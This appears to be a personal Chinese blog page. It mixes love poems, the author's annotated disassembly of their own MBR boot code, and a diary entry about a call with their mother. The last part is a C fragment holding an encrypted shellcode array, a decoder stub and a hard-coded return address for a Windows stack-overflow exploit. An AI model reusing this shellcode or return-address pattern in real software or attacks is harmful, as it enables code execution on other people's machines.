天堂電影院

是那月亮上的桂花开了吗？
要不怎么会有你的名字

一双舞鞋
俏美的你不用心
也能舞出天使的舞姿
更何况
你心如秋晨的露珠

十八岁的街景
没有惆怅
只需一抹月光就能敲开思念
又何必用帘掩着
遮蔽光芒

我也许就在某个街口
在稍纵即逝的你的背影里
只一个凝望
抵过诉断衷肠

但愿月亮上的桂香留我一抹
孤寂寒夜
让我明了
有你就有月亮

0013FF28 33 C0                xor         eax,eax
0013FF2A 8E D0                mov         ss,ax
0013FF2C BC 00 7C FB 50       mov         esp,50FB7C00h         ;esp指向活动分区的引导程序 MOV SP,7C00  STI  PUSH AX
0013FF31 07                   pop         es
0013FF32 50                   push        eax
0013FF33 1F                   pop         ds
0013FF34 FC                   cld
0013FF35 BE 1B 7C BF 1B       mov         esi,1BBF7C1Bh
0013FF3A 06                   push        es
0013FF3B 50                   push        eax
0013FF3C 57                   push        edi
0013FF3D B9 E5 01 F3 A4       mov         ecx,0A4F301E5h
0013FF42 CB                   retf
0013FF43 BE BE 07 B1 04       mov         esi,4B107BEh
0013FF48 38 2C 7C             cmp         byte ptr [esp+edi*2],ch   ;ch=0 ????
0013FF4B 09 75 15             or          dword ptr [ebp+15h],esi
0013FF4E 83 C6 10             add         esi,10h             
0013FF51 E2 F5                loop        0013FF48
0013FF53 CD 18                int         18h                      ;如果没有活动分区就启动ROM BASIC
0013FF55 8B 14 8B             mov         edx,dword ptr [ebx+ecx*4]
0013FF58 EE                   out         dx,al
0013FF59 83 C6 10             add         esi,10h                  ;SI指向下一个分区
0013FF5C 49                   dec         ecx                      ;计数器减1
0013FF5D 74 16                je          0013FF75                 ;分区检测完毕，转入读系统引导区
0013FF5F 38 2C 74             cmp         byte ptr [esp+esi*2],ch  ;CMP [SI],CH  JZ FFFA   
0013FF62 F6 BE 10 07 4E AC    idiv        byte ptr [esi-53B1F8F0h] ;MOV SI,0710  DEC SI  LOODSB
0013FF68 3C 00                cmp         al,0                     ;错误信息显示完毕了吗
0013FF6A 74 FA                je          0013FF66                 ;是，转入死循环
0013FF6C BB 07 00 B4 0E       mov         ebx,0EB40007h            ;mov bx,0007  mov AH,0Eh   
0013FF71 CD 10                int         10h            ;显示一个字符
0013FF73 EB F2                jmp         0013FF67
0013FF75 89 46 25             mov         dword ptr [esi+25h],eax
0013FF78 96                   xchg        eax,esi
0013FF79 8A 46 04             mov         al,byte ptr [esi+4]
0013FF7C B4 06                mov         ah,6
0013FF7E 3C 0E                cmp         al,0Eh
0013FF80 74 11                je          0013FF93
0013FF82 B4 0B                mov         ah,0Bh
0013FF84 3C 0C                cmp         al,0Ch
0013FF86 74 05                je          0013FF8D
0013FF88 3A C4                cmp         al,ah
0013FF8A 75 2B                jne         0013FFB7
0013FF8C 40                   inc         eax
0013FF8D C6 46 25 06          mov         byte ptr [esi+25h],6
0013FF91 75 24                jne         0013FFB7
0013FF93 BB AA 55 50 B4       mov         ebx,0B45055AAh  ;MOV BX,55AA   PUSH EAX  
0013FF98 41                   inc         ecx             ;MOV EAX,41h
0013FF99 CD 13                int         13h           ;扩展读扇区
0013FF9B 58                   pop         eax
0013FF9C 72 16                jb          0013FFB4
0013FF9E 81 FB 55 AA 75 10    cmp         ebx,1075AA55h  ;CMP EBX,55AA   JNZ 0013FFB4
0013FFA4 F6 C1 01             test        cl,1           ;TEST CL,1
0013FFA7 74 0B                je          0013FFB4
0013FFA9 8A E0                mov         ah,al
0013FFAB 88 56 24             mov         byte ptr [esi+24h],dl
0013FFAE C7 06 A1 06 EB 1E    mov         dword ptr [esi],1EEB06A1h
0013FFB4 88 66 04             mov         byte ptr [esi+4],ah           ;最后处理 ？
0013FFB7 BF 0A 00 B8 01       mov         edi,1B8000Ah
0013FFBC 02 8B DC 33 C9 83    add         cl,byte ptr [ebx-7C36CC24h]    ;INC  WORD PTR [DI]   JG 0007  
0013FFC2 FF 05 7F 03 8B 4E    inc         dword ptr ds:[4E8B037Fh]       ;MOV CX,[BP+25]   MOV CX,[BP+02]
0013FFC8 25 03 4E 02 CD       and         eax,0CD024E03h                 ;INT 13
0013FFCD 13 72 29             adc         esi,dword ptr [edx+29h]
0013FFD0 BE 46 07          
0013FFDE 7F DA                jg          0013FFBA
0013FFE0 85 F6                test        esi,esi
0013FFE2 75 83                jne         0013FF67
0013FFE4 BE 27 07 EB 8A       mov         esi,8AEB0727h
0013FFE9 98                   cwde
0013FFEA 91                   xchg        eax,ecx
0013FFEB 52                   push        edx
0013FFEC 99                   cdq
0013FFED 03 46 08             add         eax,dword ptr [esi+8]

       这是我把自己机器MBR反汇编的结果，如果没有磁盘知识就是天书了。实际上无非做了些查找比对活动分区的事情，找到活动分区后转而去执行DBR的引导程序。
      今天写了个读取磁盘的小程序，明天试一下。

寒淡的云的呼吸
打落树叶
唱一曲啾啾
呵——
从此没有回眸。

   刚才给妈妈打电话，跟她聊起从前的事情。这次中秋回家听叔叔说妈妈原来是当地出名的美女，经常演出，我瞪大眼睛问道：你不是忽悠我呢吧？问完之后才发现自己实在失礼。
   “妈妈，你以前是有名的美女呀？瓦塞，你怎么看上我爸的？”
   “这孩子胡说什么呢？”
   “说说呀，爸爸家那么穷，呵呵”
   “就是看上了呀，你爸当兵嘛”
   “是哦，爸爸当兵的，又那么高，年轻时候也很帅的！”
   “呵呵。跟做梦一样就有你们两了——”

   一晃，他俩已经相伴快三十年了，我妈还说是一场梦。若一场梦能做三十年，不管其中是坎坷艰难还是幸福愉悦都已是一场美梦了。从我爸这辈人开始，我家就开始散落全国各地，如今到了我这辈看来还是要散落各地了。我们家的梦散落到了各地，呵。虽然是梦，却绝非似梦般的悠悠然然，自自在在，如同妈妈的梦一样，难以叙述，溢于言表。真羡慕他们了，很容易就进入了梦境，^_^。
   我前不久好像也做了一场梦，可是没有持续三十年，现在梦醒了。如果梦能一直做下去就会是美梦了吧，可惜醒了，梦境终于还是梦境了～～^_^。

#include <windows.h>
#include <winbase.h>
#include  <stdio.h>

 char DenCode[  ]="\x8B\xDC\xB2\x99\xB1\x39\x30\x53\x0C\x43\xE2\xFA"; 
 char ShellCode[  ]="\x12\x75\xAA\x59\xC9\x1A\x75\x9D\x5F\xDC\x61\xFA\x5F\xDC\x60\xF4"
     "\x5F\xDC\x63\xFD\x5F\xDC\x62\xB7\x5F\xDC\x65\xFC\x5F\xDC\x64\xE1"
     "\x5F\xDC\x67\xFC\x21\x98\x99\x99\x99\xC9\x14\xDC\x61\xC9\x23\xD4"
     "\x88\x1F\xE5\x66\x4B\x50";    //encrpted
 char eip[]="\x12\x45\xfa\x7f";
 char buf[500];